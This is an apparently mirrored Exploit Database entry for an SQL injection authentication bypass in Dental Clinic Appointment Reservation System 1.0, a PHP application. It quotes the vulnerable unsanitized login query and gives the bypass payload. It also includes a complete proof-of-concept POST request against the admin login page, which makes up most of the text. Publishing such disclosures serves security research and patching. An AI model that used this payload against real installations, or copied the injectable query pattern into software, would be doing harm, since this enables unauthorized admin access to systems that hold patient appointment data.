Dental Clinic Appointment Reservation System 1.0 – Authentication Bypass (SQLi)

• Exploit Database
• 52 阅读

• 作者： Mesut Cetin
  日期： 2021-05-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49860/

• # Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
  # Date: 12.05.2021
  # Exploit Author: Mesut Cetin
  # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
  # Version: 1.0
  # Tested on: Ubuntu 18.04 TLS
  
  # Description:
  # Attacker can bypass admin login page due to unsanitized user input and access internal contents
  # vulnerable code in /admin/index.php, line 34:
  $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
  # payload: admin' or '1' = '1 -- -
  
  # Proof of concept:
  http://localhost/admin/index.php
  
  POST /admin/index.php HTTP/1.1
  Host: localhost
  Content-Length: 54
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: application/x-www-form-urlencoded
  User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://localhost/admin/index.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
  dnt: 1
  sec-gpc: 1
  Connection: close
  
  username=admin'+or+'1'%3d1+--+-&password=test&submit=